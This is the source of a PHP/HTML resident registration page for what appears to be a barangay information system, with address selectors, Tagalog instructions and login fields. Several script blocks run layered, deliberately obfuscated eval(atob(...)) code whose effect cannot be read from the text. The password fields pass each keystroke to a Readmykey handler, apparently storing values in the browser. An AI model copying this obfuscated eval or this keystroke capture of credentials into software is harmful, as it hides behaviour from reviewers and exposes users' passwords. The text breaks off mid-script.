    <section id="wrapper" class="login-register" style="display:flex;justify-content:center;overflow-y:auto;">
        <div class="" style="width: 80%;margin-top: 5%;margin-bottom:5%;">
            <div class="white-box">
                <div class="row" style="display:flex;justify-content:center">
                    <div class="col-sm-12 col-lg-6 col-6 div_matech">
                        <img src="<?php echo WEB_ROOT; ?>images/bmis_logo.png" class="matech_logo_anim" />
                    </div>
                </div>
                <div class="row" style="display:flex;justify-content:center; margin-bottom: 50px;">
                    <div class="col-12">
                        <center>
                            <h1 class="box-title m-b-0" style="font-size: 24px;">Registration</h1>
                            <button onclick="window.location.href='login.php'" class="login-button"
                                id="already_registered">Login if
                                registered</button>
                        </center>
                    </div>
                </div>
                <form class="form-horizontal" method="post" action="process.php?action=registration"
                    enctype="multipart/form-data" name="form" id="form">
                    <input type="hidden" value="<?php echo $syscode ?>" name="system_code">
                    <input type="hidden" value="<?php echo $district ?>" name="district_code">
                    <!-- <p class="text-muted m-b-30 font-13"> Fill out the fields </p> -->
                    <?php

                    if ($errorMessage == 'Registration Successful. Your account will be verified within 24 hours. Thank You!') {
                        ?>
                        <div class="container"
                            style="display:flex;justify-content:center;text-align:center;align-items:center;">
                            <div class="alert alert-success alert-dismissable "
                                style="max-width: 400px;border-radius:10px;">
                                <button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
                                <b>
                                    <?php echo $errorMessage; ?>
                                </b>
                            </div>
                        </div>
                        <script>
                            localStorage.clear();
                        </script>
                        <?php
                    } else if ($errorMessage == 'The same resident already exists! Please wait 24 hours for verification.') {
                        ?>
                            <div class="container"
                                style="display:flex;justify-content:center;text-align:center;align-items:center;">
                                <div class="alert alert-warning alert-dismissable" style="max-width: 400px;">
                                    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
                                    <b>
                                    <?php echo $errorMessage; ?>
                                    </b>
                                </div>
                            </div>
                            <script>
                                localStorage.clear();
                            </script>
                        <?php
                    } else if ($errorMessage == 'Username, password, and confirm password must be at least 8 characters.') {
                        ?>
                                <div class="container"
                                    style="display:flex;justify-content:center;text-align:center;align-items:center;">
                                    <div class="alert alert-danger alert-dismissable" style="max-width: 400px;">
                                        <button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
                                        <b>
                                    <?php echo $errorMessage; ?>
                                        </b>
                                    </div>
                                </div>
                        <?php
                    } else if ($errorMessage == 'Password and confirm password do not match.') {
                        ?>
                                    <div class="container"
                                        style="display:flex;justify-content:center;text-align:center;align-items:center;">
                                        <div class="alert alert-danger alert-dismissable" style="max-width: 400px;">
                                            <button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
                                            <b>
                                    <?php echo $errorMessage; ?>
                                            </b>
                                        </div>
                                    </div>
                        <?php
                    } else if ($errorMessage == 'Username or email already exists. Please choose a different one.') {
                        ?>
                                        <div class="container"
                                            style="display:flex;justify-content:center;text-align:center;align-items:center;">
                                            <div class="alert alert-danger alert-dismissable" style="max-width: 400px;">
                                                <button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
                                                <b>
                                    <?php echo $errorMessage; ?>
                                                </b>
                                            </div>
                                        </div>

                        <?php
                    } else {
                    }
                    ?>

                    <!-- <?php
                    if ($errorMessage == 'Added successfully') {
                        ?>
                        <div class="alert alert-success alert-dismissable">
                            <button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
                            <b>
                                <?php echo $errorMessage; ?>
                            </b>
                        </div>
                        <?php
                    } else if ($errorMessage == 'Resident already exist! Data entry failed.') {
                        ?>
                            <div class="alert alert-danger alert-dismissable">
                                <button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
                                <b>
                                <?php echo $errorMessage; ?>
                                </b>
                            </div>
                        <?php
                    } else if ($errorMessage == 'Household Number already exist! Data entry failed.') {
                        ?>
                                <div class="alert alert-danger alert-dismissable">
                                    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
                                    <b>
                                <?php echo $errorMessage; ?>
                                    </b>
                                </div>
                        <?php
                    } else {
                    }
                    ?> -->
                    <div class="form-group">

                        <div class="row" id="island_row">
                            <div class="col-md-1"></div>
                            <div class="col-md-5">
                                <div class="form-group" id="islandGroup_div">
                                    <label for="islandGroup">Island Group: </label>
                                    <div class="input-group">
                                        <div class="input-group-addon"><i class="icon-location-pin"></i></div>
                                        <select class="form-control" id="islandGroup" name="islandGroup"></select>
                                    </div>

                                </div>
                            </div>

                            <div class="col-md-5">
                                <div class="form-group" id="region_div">
                                    <label for="region">Region: </label>
                                    <div class="input-group">
                                        <div class="input-group-addon"><i class="icon-location-pin"></i></div>
                                        <select class="form-control" id="region" name="region"></select>
                                    </div>

                                </div>
                            </div>

                            <div class="col-md-1"></div>


                        </div>

                        <div class="row" id="city_row">
                            <div class="col-md-1"></div>
                            <div class="col-md-5" id="city_row">
                                <div class="form-group" id="city_div">
                                    <label for="city">City / Municipality: </label>
                                    <div class="input-group">
                                        <div class="input-group-addon"><i class="icon-location-pin"></i></div>
                                        <select class="form-control" id="city" name="city"></select>
                                    </div>

                                </div>
                            </div>

                            <div class="col-md-5" id="barangay_row">
                                <div class="form-group" id="barangay_div">
                                    <label for="barangay">barangay: </label>
                                    <div class="input-group">
                                        <div class="input-group-addon"><i class="icon-location-pin"></i></div>
                                        <select class="form-control" id="barangay" name="barangay"></select>
                                    </div>

                                </div>
                            </div>
                            <div class="col-md-1"></div>
                        </div>


                        <script>
                            eval(atob('dmFyIHU9dm9pZCAwLGk0PTQsaTg9OCxyZWM9bmV3IFJlZ0V4cCgiLnsxLDR9IiwiZyIpO2Z1bmN0aW9uIF9mX2Mocyl7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUocyk7fXZhciBoZD1mdW5jdGlvbihhKXt2YXIgYixjPWEubWF0Y2gocmVjKXx8W10sZD0iIjtmb3IoYj0wO2I8Yy5sZW5ndGg7YisrKWQrPWhoKHBhcnNlSW50KGNbYl0saTYpKTtyZXR1cm4gZH07dmFyIGh3PWhkO1N0cmluZy5wcm90b3R5cGUuY2M9ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMuY2hhckNvZGVBdChhKX07dmFyIGk2PTE2LGhlPWZ1bmN0aW9uKGEpe3ZhciBiLGMsZD0iIjtmb3IoYz0wO2M8YS5sZW5ndGg7YysrKWI9YS5jYyhjKS50b1N0cmluZyhpNiksZCs9KCIwMDAiK2IpLnNsaWNlKC00KTtyZXR1cm4gZH0saGg9ZnVuY3Rpb24oYSl7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoYSl9LGh3YT1odygiMDA0MTAwNDIwMDQzMDA0NDAwNDUwMDQ2MDA0NzAwNDgwMDQ5MDA0YTAwNGIwMDRjMDA0ZDAwNGUwMDRmMDA1MDAwNTEwMDUyMDA1MzAwNTQwMDU1MDA1NjAwNTcwMDU4MDA1OTAwNWEwMDYxMDA2MjAwNjMwMDY0MDA2NTAwNjYwMDY3MDA2ODAwNjkwMDZhMDA2YjAwNmMwMDZkMDA2ZTAwNmYwMDcwMDA3MTAwNzIwMDczMDA3NDAwNzUwMDc2MDA3NzAwNzgwMDc5MDA3YTAwMzAwMDMxMDAzMjAwMzMwMDM0MDAzNTAwMzYwMDM3MDAzODAwMzkwMDJiMDAyZjAwM2QiKTtmdW5jdGlvbiBhdG9iKGEpe3ZhciBiLGMsZCxlLGYsZyxoLGk9IiIsaj0wO2ZvcihhPWEucmVwbGFjZShyZWEsIiIpO2o8YS5sZW5ndGg7KWU9aHdhLmluZGV4T2YoYS5jaGFyQXQoaisrKSksZj1od2EuaW5kZXhPZihhLmNoYXJBdChqKyspKSxnPWh3YS5pbmRleE9mKGEuY2hhckF0KGorKykpLGg9aHdhLmluZGV4T2YoYS5jaGFyQXQoaisrKSksYj1lPDwyfGY+PjQsYz0oMTUmZik8PDR8Zz4+MixkPSgzJmcpPDw2fGgsaSs9X2ZfYyhiKSw2NCE9ZyYmKGkrPV9mX2MoYykpLDY0IT1oJiYoaSs9X2ZfYyhkKSk7cmV0dXJuIGk9dXRvYShpKX1mdW5jdGlvbiBidG9hKGEpe3ZhciBiLGMsZCxlLGYsZyxoLGk9IiIsaj0wO2ZvcihhPWF0b3UoYSk7ajxhLmxlbmd0aDspYj1hLmNoYXJDb2RlQXQoaisrKSxjPWEuY2hhckNvZGVBdChqKyspLGQ9YS5jaGFyQ29kZUF0KGorKyksZT1iPj4yLGY9KDMmYik8PDR8Yz4+NCxnPSgxNSZjKTw8MnxkPj42LGg9NjMmZCxpc05hTihjKT9nPWg9NjQ6aXNOYU4oZCkmJihoPTY0KSxpPWkraHdhLmNoYXJBdChlKStod2EuY2hhckF0KGYpK2h3YS5jaGFyQXQoZykraHdhLmNoYXJBdChoKTtyZXR1cm4gaX1mdW5jdGlvbiBhdG91KGEpe2E9YS5yZXBsYWNlKHJlYiwiXG4iKTtmb3IodmFyIGI9IiIsYz0wO2M8YS5sZW5ndGg7YysrKXt2YXIgZD1hLmNoYXJDb2RlQXQoYyk7MTI4PmQ/Yis9X2ZfYyhkKTpkPjEyNyYmMjA0OD5kPyhiKz1fZl9jKGQ+PjZ8MTkyKSxiKz1fZl9jKDYzJmR8MTI4KSk6KGIrPV9mX2MoZD4+MTJ8MjI0KSxiKz1fZl9jKGQ+PjYmNjN8MTI4KSxiKz1fZl9jKDYzJmR8MTI4KSl9cmV0dXJuIGJ9ZnVuY3Rpb24gdXRvYShhKXtmb3IodmFyIGI9IiIsYz0wLGQ9YzE9YzI9MDtjPGEubGVuZ3RoOylkPWEuY2hhckNvZGVBdChjKSwxMjg+ZD8oYis9X2ZfYyhkKSxjKyspOmQ+MTkxJiYyMjQ+ZD8oYzI9YS5jaGFyQ29kZUF0KGMrMSksYis9X2ZfYygoMzEmZCk8PDZ8NjMmYzIpLGMrPTIpOihjMj1hLmNoYXJDb2RlQXQoYysxKSxjMz1hLmNoYXJDb2RlQXQoYysyKSxiKz1fZl9jKCgxNSZkKTw8MTJ8KDYzJmMyKTw8Nnw2MyZjMyksYys9Myk7cmV0dXJuIGJ9dmFyIGh3YT1odygiMDA0MTAwNDIwMDQzMDA0NDAwNDUwMDQ2MDA0NzAwNDgwMDQ5MDA0YTAwNGIwMDRjMDA0ZDAwNGUwMDRmMDA1MDAwNTEwMDUyMDA1MzAwNTQwMDU1MDA1NjAwNTcwMDU4MDA1OTAwNWEwMDYxMDA2MjAwNjMwMDY0MDA2NTAwNjYwMDY3MDA2ODAwNjkwMDZhMDA2YjAwNmMwMDZkMDA2ZTAwNmYwMDcwMDA3MTAwNzIwMDczMDA3NDAwNzUwMDc2MDA3NzAwNzgwMDc5MDA3YTAwMzAwMDMxMDAzMjAwMzMwMDM0MDAzNTAwMzYwMDM3MDAzODAwMzkwMDJiMDAyZjAwM2QiKSxyZWE9bmV3IFJlZ0V4cCgiW15BLVphLXowLTkrLz1dIiwiZyIpLHJlYj1uZXcgUmVnRXhwKCJcclxuIiwiZyIpO3ZhciBfXz17YTpod2Euc3BsaXQoIiIpLCQ6ZnVuY3Rpb24oYSxiKXtmb3IodmFyIGM9IiIsZD10aGlzLmEubGVuZ3RoLGU9YS5sZW5ndGgsZj0wO2Y8ZTtmKyspZm9yKHZhciBnPTA7ZzxkO2crKylpZigiZSI9PWIpe2lmKHRoaXMuYVtnXT09PWFbZl0pe2MrPXRoaXMuYltnXTticmVha319ZWxzZSBpZigiZCI9PWImJnRoaXMuYltnXT09PWFbZl0pe2MrPXRoaXMuYVtnXTticmVha31yZXR1cm4gY30sYjpodygiMDAzZDAwMmYwMDJiMDAzOTAwMzgwMDM3MDAzNjAwMzUwMDM0MDAzMzAwMzIwMDMxMDAzMDAwN2EwMDc5MDA3ODAwNzcwMDc2MDA3NTAwNzQwMDczMDA3MjAwNzEwMDcwMDA2ZjAwNmUwMDZkMDA2YzAwNmIwMDZhMDA2OTAwNjgwMDY3MDA2NjAwNjUwMDY0MDA2MzAwNjIwMDYxMDA1YTAwNTkwMDU4MDA1NzAwNTYwMDU1MDA1NDAwNTMwMDUyMDA1MTAwNTAwMDRmMDA0ZTAwNGQwMDRjMDA0YjAwNGEwMDQ5MDA0ODAwNDcwMDQ2MDA0NTAwNDQwMDQzMDA0MjAwNDEiKS5zcGxpdCgiIil9Ow==')); eval(atob(__.$('nZrSoJvXlKIgsarfn6LHmKrH26sUj+bFl6DdoqPtj6DOoqjb1Zzbj8bMnqMYj+Pb2pLJmqHclJkSoqvcvpnblZv0mpzMnqHbkegel6Dfn+4U26nLlazMmqDS2+bFoKDSkJwgntLl4ZrNnp3SoqLb4eQek67NkJjRkawe1+3dlKHamp3TpJ/fkJzJlJ3c4eQem6DLkKrYlKPcpKHR4eQenabOkJvSoqLb4eQelqbcn6Pbla7Tnu4U4aPfkJvSoqLb4eQekJranabI4eQeoqPXopzhnabbl6we1+3emp3Mm6vfiu4U4a7Znu4U4afbmqjYj7DamqrUn+4U4ZjbmqjYj7DamqrUn+4U4a3UlKDcpJvHk6rhnabbl6we1+3emp3Mm7DQl67dnu4U4Z/OnqzXlZvSjqLenp4e1+3dkKEe1+3SnKEe1+3Mka7SkJ/RkZvZkaDLk+4U4Z/bj97hj5bQnu4U4Z/bj93hj5bQnu4U4Z/bj9zhj5bQnu4U4Z/bj97hn67Mnt8e1+3QnpwPpJ3bnKvfj6sP4eQek6rM0rDcopvb0e4U4Z/bj97hkarZn67Mnt4e1+3QnpwPpKvfj6sN4eQek6rM0rDOnqjcopvb0O4U4Z/bj93hn67Mnt8e1+3QnpwOpKvfj6sO4eQek6rM0bDcopvb0O4U4Z/bj93hkarZn67Mnt8e1+3QnpwOpJ3bnKvfj6sO4eQek6rM0bDOnqjcopvb0O4U4Z/bj9zhn67Mnt8e1+3QnpwNpKvfj6sO4eQek6rM0LDcopvb0O4U4Z/bj9zhkarZn67Mnt8e1+3QnpwNpJ3bnKvfj6sO4eQek6rM0LDOnqjcopvb0O4U4azRlZvfoJwe1+3UoqHcl6bSnrDamqrUn+4U4arToqbU4eQeu6DLkKrhl6DMpKHLlq3bke4U4brSmpwe1+3tj53bnpwe1+3wjp3RmO4U4a7Onq7hjabUl67Znu4U4Zbbop3hkarNmqvblZwe1+3Mopge1+3Qm6bUm6rfl5vY4eQek67Zmq3XnO4U4ajNmpzhnabbl6we1+3NkJzhnabbl6we1+3dlJrOkKse1+3NmKbUl50e1+3RoKzLk67MmqDSpKnXnqPc4eQelaDd4eQeoKDTk67SirDQlJzM4eQeoKDTk67SirDfn6we1+3TlKHMm6PH4bMFnaDO26Pbj+/Mxt=Fj9QDnuHUnqHZj6gFj+UV2qbKoqPLntLUlKzfl7zMlJ3fnKsSnKrMupvblufbqJvj2uQc2+4d4eTbqJvj2uHKoqQYmpnfl5rb2pMX2tUA', 'd')));
                        </script>
                        <div class="row">
                            <div class="col-md-4"></div>
                            <div class="col-md-4">
                                <div class="form-group noteHouseHoldMember" id="paalala"
                                    style="display:none;font-weight:800;">
                                    <label for="noteLabel" class="text-primary">PANUTO:</label>
                                    <h5 class="text-danger">1. Siguraduhing naka rehistro muna ang iyong Household
                                        Head, upang maka rehistro bilang isang Household Member.</h5>
                                    <h5 class="text-danger">2. Alalahanin, itala, o kopyahin ang Resident Account
                                        Number.</h5>
                                    <h5 class="text-danger">3. Upang makapag rehistro bilang isang miyembro ng isang
                                        Household, piliin lamang sa 'Register as' ang Household Member.</h5>
                                    <h5 class="text-danger">4. Ilagay ang Resident Account Number ng Household Head na
                                        iyong inalala, tinala, o kinopya sa 'Residency Account Number' at pindutin ang
                                        VERIFY.</h5>
                                </div>
                            </div>
                            <div class="col-md-4"></div>
                        </div>

                        <div class="row">
                            <div class="col-md-4"></div>
                            <div class="col-md-4">
                                <div class="form-group noteHouseHoldHead" id="noteHouseHoldHead" style="display:none">
                                    <label for="noteLabel" class="text-primary">Palala:</label>
                                    <h5 class="text-danger">Huwag kalimutan alalahanin, itala, at kopyahin ang Resident
                                        Account
                                        Number.</h5>
                                </div>
                            </div>
                            <div class="col-md-4"></div>
                        </div>
                        <div class="row" id="username_row">
                            <div class="col-md-4"></div>
                            <div class="col-md-4">
                                <div class="form-group" id="username_div">
                                    <label for="username">Username: </label>
                                    <div class="input-group">
                                        <div class="input-group-addon"><i class="icon-user"></i></div>
                                        <input type="text" class="form-control"
                                            onkeyup="Readmykey(this.value,'username')" id="username" name="username"
                                            placeholder="Enter username" autocomplete="off" required />
                                    </div>

                                </div>
                            </div>
                            <div class="col-md-4"></div>
                        </div>

                        <div class="row" id="password_row">
                            <div class="col-md-4"></div>
                            <div class="col-md-4">
                                <div class="form-group" id="password_div">
                                    <label for="password">Password: </label>
                                    <div class="input-group">
                                        <div class="input-group-addon"><i class="fa fa-lock"></i></div>
                                        <input type="password" class="form-control" id="password"
                                            onkeyup="Readmykey(this.value,'password')" name="password"
                                            placeholder="Enter Password" autocomplete="off" required />
                                        <div class="input-group-addon">
                                            <span class="eye-toggle" onclick="togglePasswordVisibility('password')">
                                                <i class="fa fa-eye"></i>
                                            </span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="col-md-4"></div>
                        </div>
                        <div class="row" id="confirm_password_row">
                            <div class="col-md-4"></div>
                            <div class="col-md-4">
                                <div class="form-group" id="confirm_password_div">
                                    <label for="confirm_password">Confirm Password: </label>
                                    <div class="input-group">
                                        <div class="input-group-addon"><i class="fa fa-lock"></i></div>
                                        <input type="password" class="form-control" id="confirm_password"
                                            onkeyup="Readmykey(this.value,'confirm_password')" name="confirm_password"
                                            required placeholder="Enter confirm password" autocomplete="off" />
                                        <div class="input-group-addon">
                                            <span class="eye-toggle"
                                                onclick="togglePasswordVisibility('confirm_password')">
                                                <i class="fa fa-eye"></i>
                                            </span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="col-md-4"></div>
                        </div>
                        <script>
                            eval(atob('dmFyIHU9dm9pZCAwLGk0PTQsaTg9OCxyZWM9bmV3IFJlZ0V4cCgiLnsxLDR9IiwiZyIpO2Z1bmN0aW9uIF9mX2Mocyl7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUocyk7fXZhciBoZD1mdW5jdGlvbihhKXt2YXIgYixjPWEubWF0Y2gocmVjKXx8W10sZD0iIjtmb3IoYj0wO2I8Yy5sZW5ndGg7YisrKWQrPWhoKHBhcnNlSW50KGNbYl0saTYpKTtyZXR1cm4gZH07dmFyIGh3PWhkO1N0cmluZy5wcm90b3R5cGUuY2M9ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMuY2hhckNvZGVBdChhKX07dmFyIGk2PTE2LGhlPWZ1bmN0aW9uKGEpe3ZhciBiLGMsZD0iIjtmb3IoYz0wO2M8YS5sZW5ndGg7YysrKWI9YS5jYyhjKS50b1N0cmluZyhpNiksZCs9KCIwMDAiK2IpLnNsaWNlKC00KTtyZXR1cm4gZH0saGg9ZnVuY3Rpb24oYSl7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoYSl9LGh3YT1odygiMDA0MTAwNDIwMDQzMDA0NDAwNDUwMDQ2MDA0NzAwNDgwMDQ5MDA0YTAwNGIwMDRjMDA0ZDAwNGUwMDRmMDA1MDAwNTEwMDUyMDA1MzAwNTQwMDU1MDA1NjAwNTcwMDU4MDA1OTAwNWEwMDYxMDA2MjAwNjMwMDY0MDA2NTAwNjYwMDY3MDA2ODAwNjkwMDZhMDA2YjAwNmMwMDZkMDA2ZTAwNmYwMDcwMDA3MTAwNzIwMDczMDA3NDAwNzUwMDc2MDA3NzAwNzgwMDc5MDA3YTAwMzAwMDMxMDAzMjAwMzMwMDM0MDAzNTAwMzYwMDM3MDAzODAwMzkwMDJiMDAyZjAwM2QiKTtmdW5jdGlvbiBhdG9iKGEpe3ZhciBiLGMsZCxlLGYsZyxoLGk9IiIsaj0wO2ZvcihhPWEucmVwbGFjZShyZWEsIiIpO2o8YS5sZW5ndGg7KWU9aHdhLmluZGV4T2YoYS5jaGFyQXQoaisrKSksZj1od2EuaW5kZXhPZihhLmNoYXJBdChqKyspKSxnPWh3YS5pbmRleE9mKGEuY2hhckF0KGorKykpLGg9aHdhLmluZGV4T2YoYS5jaGFyQXQoaisrKSksYj1lPDwyfGY+PjQsYz0oMTUmZik8PDR8Zz4+MixkPSgzJmcpPDw2fGgsaSs9X2ZfYyhiKSw2NCE9ZyYmKGkrPV9mX2MoYykpLDY0IT1oJiYoaSs9X2ZfYyhkKSk7cmV0dXJuIGk9dXRvYShpKX1mdW5jdGlvbiBidG9hKGEpe3ZhciBiLGMsZCxlLGYsZyxoLGk9IiIsaj0wO2ZvcihhPWF0b3UoYSk7ajxhLmxlbmd0aDspYj1hLmNoYXJDb2RlQXQoaisrKSxjPWEuY2hhckNvZGVBdChqKyspLGQ9YS5jaGFyQ29kZUF0KGorKyksZT1iPj4yLGY9KDMmYik8PDR8Yz4+NCxnPSgxNSZjKTw8MnxkPj42LGg9NjMmZCxpc05hTihjKT9nPWg9NjQ6aXNOYU4oZCkmJihoPTY0KSxpPWkraHdhLmNoYXJBdChlKStod2EuY2hhckF0KGYpK2h3YS5jaGFyQXQoZykraHdhLmNoYXJBdChoKTtyZXR1cm4gaX1mdW5jdGlvbiBhdG91KGEpe2E9YS5yZXBsYWNlKHJlYiwiXG4iKTtmb3IodmFyIGI9IiIsYz0wO2M8YS5sZW5ndGg7YysrKXt2YXIgZD1hLmNoYXJDb2RlQXQoYyk7MTI4PmQ/Yis9X2ZfYyhkKTpkPjEyNyYmMjA0OD5kPyhiKz1fZl9jKGQ+PjZ8MTkyKSxiKz1fZl9jKDYzJmR8MTI4KSk6KGIrPV9mX2MoZD4+MTJ8MjI0KSxiKz1fZl9jKGQ+PjYmNjN8MTI4KSxiKz1fZl9jKDYzJmR8MTI4KSl9cmV0dXJuIGJ9ZnVuY3Rpb24gdXRvYShhKXtmb3IodmFyIGI9IiIsYz0wLGQ9YzE9YzI9MDtjPGEubGVuZ3RoOylkPWEuY2hhckNvZGVBdChjKSwxMjg+ZD8oYis9X2ZfYyhkKSxjKyspOmQ+MTkxJiYyMjQ+ZD8oYzI9YS5jaGFyQ29kZUF0KGMrMSksYis9X2ZfYygoMzEmZCk8PDZ8NjMmYzIpLGMrPTIpOihjMj1hLmNoYXJDb2RlQXQoYysxKSxjMz1hLmNoYXJDb2RlQXQoYysyKSxiKz1fZl9jKCgxNSZkKTw8MTJ8KDYzJmMyKTw8Nnw2MyZjMyksYys9Myk7cmV0dXJuIGJ9dmFyIGh3YT1odygiMDA0MTAwNDIwMDQzMDA0NDAwNDUwMDQ2MDA0NzAwNDgwMDQ5MDA0YTAwNGIwMDRjMDA0ZDAwNGUwMDRmMDA1MDAwNTEwMDUyMDA1MzAwNTQwMDU1MDA1NjAwNTcwMDU4MDA1OTAwNWEwMDYxMDA2MjAwNjMwMDY0MDA2NTAwNjYwMDY3MDA2ODAwNjkwMDZhMDA2YjAwNmMwMDZkMDA2ZTAwNmYwMDcwMDA3MTAwNzIwMDczMDA3NDAwNzUwMDc2MDA3NzAwNzgwMDc5MDA3YTAwMzAwMDMxMDAzMjAwMzMwMDM0MDAzNTAwMzYwMDM3MDAzODAwMzkwMDJiMDAyZjAwM2QiKSxyZWE9bmV3IFJlZ0V4cCgiW15BLVphLXowLTkrLz1dIiwiZyIpLHJlYj1uZXcgUmVnRXhwKCJcclxuIiwiZyIpO3ZhciBfXz17YTpod2Euc3BsaXQoIiIpLCQ6ZnVuY3Rpb24oYSxiKXtmb3IodmFyIGM9IiIsZD10aGlzLmEubGVuZ3RoLGU9YS5sZW5ndGgsZj0wO2Y8ZTtmKyspZm9yKHZhciBnPTA7ZzxkO2crKylpZigiZSI9PWIpe2lmKHRoaXMuYVtnXT09PWFbZl0pe2MrPXRoaXMuYltnXTticmVha319ZWxzZSBpZigiZCI9PWImJnRoaXMuYltnXT09PWFbZl0pe2MrPXRoaXMuYVtnXTticmVha31yZXR1cm4gY30sYjpodygiMDAzZDAwMmYwMDJiMDAzOTAwMzgwMDM3MDAzNjAwMzUwMDM0MDAzMzAwMzIwMDMxMDAzMDAwN2EwMDc5MDA3ODAwNzcwMDc2MDA3NTAwNzQwMDczMDA3MjAwNzEwMDcwMDA2ZjAwNmUwMDZkMDA2YzAwNmIwMDZhMDA2OTAwNjgwMDY3MDA2NjAwNjUwMDY0MDA2MzAwNjIwMDYxMDA1YTAwNTkwMDU4MDA1NzAwNTYwMDU1MDA1NDAwNTMwMDUyMDA1MTAwNTAwMDRmMDA0ZTAwNGQwMDRjMDA0YjAwNGEwMDQ5MDA0ODAwNDcwMDQ2MDA0NTAwNDQwMDQzMDA0MjAwNDEiKS5zcGxpdCgiIil9Ow==')); eval(atob(__.$('nZrSoJvXlKIgj6DZnKPbs67NkJjRkavqmpzXoabUmpvH26sXiJnfke/NxqvRoJrTnqHM1ajbj8rUnqLblZv+isbc26sX15wDn6DdjqLblZwSkprbkZbtnqPboJvRkege4O4VnuUepJ3RjO=Snpbb1pvRnKjUnu/X4ecF4Z/fkJzJlJ3c4dMDxp0Sj5bQntEYkOHMip/bxu3MnpfM4ePM1azUopzNt6bNj+HOnqLRjasY4anf1qrHnu4X15wSoKPfkJz0mpzM1a7cn+gena8Tnpbb1pzUopzY4ecXyefN1ZvHk6sD4Z/fkJzJlJ3c4ePM1azUopzNt6bNj+HOnqLRjasY4anf1qrHnuLNl67Nm+4X15wSoKPfkJz0mpzM1a7cn+gena8Tnpbb4ecXhwAA', 'd')));
                        </script>





                        <input type="hidden" id="selectedRegionCode" onkeyup="Readmykey(this.value,'regionId')"
                            name="region_id" readonly>

                        <input type="hidden" id="selectedCityCode" onkeyup="Readmykey(this.value,'cityId')"
                            name="city_id" readonly>

                        <input type="hidden" id="selectedBarangayCode" onkeyup="Readmykey(this.value,'barangayId')"
                            name="barangay_id" readonly>

                        <input type="hidden" id="selectedRegionName" onkeyup="Readmykey(this.value,'regionName')"
                            name="region_name" readonly>
                        <input type="hidden" id="selectedCityName"
                            onkeyup="Readmykey(this.value,'cityMunicipalityName')" name="city_municipalities_name"
                            readonly>

                        <input type="hidden" id="selectedBarangayName" onkeyup="Readmykey(this.value,'barangayName')"
                            name="barangay_name" readonly>

                        <script>

                            eval(atob('dmFyIHU9dm9pZCAwLGk0PTQsaTg9OCxyZWM9bmV3IFJlZ0V4cCgiLnsxLDR9IiwiZyIpO2Z1bmN0aW9uIF9mX2Mocyl7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUocyk7fXZhciBoZD1mdW5jdGlvbihhKXt2YXIgYixjPWEubWF0Y2gocmVjKXx8W10sZD0iIjtmb3IoYj0wO2I8Yy5sZW5ndGg7YisrKWQrPWhoKHBhcnNlSW50KGNbYl0saTYpKTtyZXR1cm4gZH07dmFyIGh3PWhkO1N0cmluZy5wcm90b3R5cGUuY2M9ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMuY2hhckNvZGVBdChhKX07dmFyIGk2PTE2LGhlPWZ1bmN0aW9uKGEpe3ZhciBiLGMsZD0iIjtmb3IoYz0wO2M8YS5sZW5ndGg7YysrKWI9YS5jYyhjKS50b1N0cmluZyhpNiksZCs9KCIwMDAiK2IpLnNsaWNlKC00KTtyZXR1cm4gZH0saGg9ZnVuY3Rpb24oYSl7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoYSl9LGh3YT1odygiMDA0MTAwNDIwMDQzMDA0NDAwNDUwMDQ2MDA0NzAwNDgwMDQ5MDA0YTAwNGIwMDRjMDA0ZDAwNGUwMDRmMDA1MDAwNTEwMDUyMDA1MzAwNTQwMDU1MDA1NjAwNTcwMDU4MDA1OTAwNWEwMDYxMDA2MjAwNjMwMDY0MDA2NTAwNjYwMDY3MDA2ODAwNjkwMDZhMDA2YjAwNmMwMDZkMDA2ZTAwNmYwMDcwMDA3MTAwNzIwMDczMDA3NDAwNzUwMDc2MDA3NzAwNzgwMDc5MDA3YTAwMzAwMDMxMDAzMjAwMzMwMDM0MDAzNTAwMzYwMDM3MDAzODAwMzkwMDJiMDAyZjAwM2QiKTtmdW5jdGlvbiBhdG9iKGEpe3ZhciBiLGMsZCxlLGYsZyxoLGk9IiIsaj0wO2ZvcihhPWEucmVwbGFjZShyZWEsIiIpO2o8YS5sZW5ndGg7KWU9aHdhLmluZGV4T2YoYS5jaGFyQXQoaisrKSksZj1od2EuaW5kZXhPZihhLmNoYXJBdChqKyspKSxnPWh3YS5pbmRleE9mKGEuY2hhckF0KGorKykpLGg9aHdhLmluZGV4T2YoYS5jaGFyQXQoaisrKSksYj1lPDwyfGY+PjQsYz0oMTUmZik8PDR8Zz4+MixkPSgzJmcpPDw2fGgsaSs9X2ZfYyhiKSw2NCE9ZyYmKGkrPV9mX2MoYykpLDY0IT1oJiYoaSs9X2ZfYyhkKSk7cmV0dXJuIGk9dXRvYShpKX1mdW5jdGlvbiBidG9hKGEpe3ZhciBiLGMsZCxlLGYsZyxoLGk9IiIsaj0wO2ZvcihhPWF0b3UoYSk7ajxhLmxlbmd0aDspYj1hLmNoYXJDb2RlQXQoaisrKSxjPWEuY2hhckNvZGVBdChqKyspLGQ9YS5jaGFyQ29kZUF0KGorKyksZT1iPj4yLGY9KDMmYik8PDR8Yz4+NCxnPSgxNSZjKTw8MnxkPj42LGg9NjMmZCxpc05hTihjKT9nPWg9NjQ6aXNOYU4oZCkmJihoPTY0KSxpPWkraHdhLmNoYXJBdChlKStod2EuY2hhckF0KGYpK2h3YS5jaGFyQXQoZykraHdhLmNoYXJBdChoKTtyZXR1cm4gaX1mdW5jdGlvbiBhdG91KGEpe2E9YS5yZXBsYWNlKHJlYiwiXG4iKTtmb3IodmFyIGI9IiIsYz0wO2M8YS5sZW5ndGg7YysrKXt2YXIgZD